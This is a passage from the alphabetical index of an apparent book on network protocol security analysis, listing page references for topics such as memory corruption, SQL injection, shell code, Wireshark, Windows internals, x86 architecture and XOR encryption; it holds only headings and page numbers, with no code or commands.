249–250
format string, 227
fuzz testing, 234–236
incorrect resource access

canonicalization, 220–221
verbose errors, 221–222

memory corruption
buffer overflows, 210–215
data expansion attack, 217
dynamic memory allocation 

failures, 217
exploit mitigations, 267–268
memory-safe vs. memory-unsafe 

languages, 210
out-of-bounds buffer indexing, 

216–217
memory exhaustion attacks, 

222–223
shell code, 255–266
SQL injection, 228–229
storage exhaustion attacks, 

223–224
text-encoding character 

replacement, 229–231
triaging, 236–245
user enumeration, 218–219

W
W3C, 58
web application testing tools, 283–285

Burp Suite, 283–284
Mitmproxy, 284–285
Zed Attack Proxy, 284

web of trust (WOT), 169
wget, 31
windll, 199
Windows

ASLR implementation flaws in, 272
calling functions with Python 

on, 199
certificate manager, 203
debug symbols, 129
debugger, 236–241, 244–245
dynamic link libraries, 196
enabling routing on, 67
FILETIME, 50
loading library on, 197
Page Heap, 244–245
registry, 67

Winsock library, 121
XP SP2, 270

WinDump, 278
WinPcap, 278
Winsock, 121
Wireshark, 12–14, 81, 279–280

basic analysis, 84–85
capture interfaces dialog, 82–83
Conversations window, 84–85
dissectors, 95–103
generating network traffic in, 

83–84
Hex Dump view, 86–95
main window, 82
reading contents of TCP sessions 

in, 85–86
Tshark command line version, 

180–182
WOT (web of trust), 169
write system call, 15, 18, 122, 261–263
WriteData() function, 108
WritePackets() method, 22
ws2_32.dll Windows network library, 

130–131

X
X.509 certificates, 53–54, 169–171, 173
X.680 series, 53
x86 architecture, 42, 125

history, 114
instruction mnemonics, 115
instruction set architecture, 

114–116
mnemonic forms, 115
program flow, 118–119
registers, 116–118

xcalc, 228
XML Schema, 58
XOR encryption, 108–109, 148–149, 

153–154
XOR instruction, 115
XOR parameter, 108–109
xp_cmdshell function, 229
xxd tool, 90, 181

Z
Zed Attack Proxy (ZAP), 284
zero flag, 117
ZLib compression library, 132
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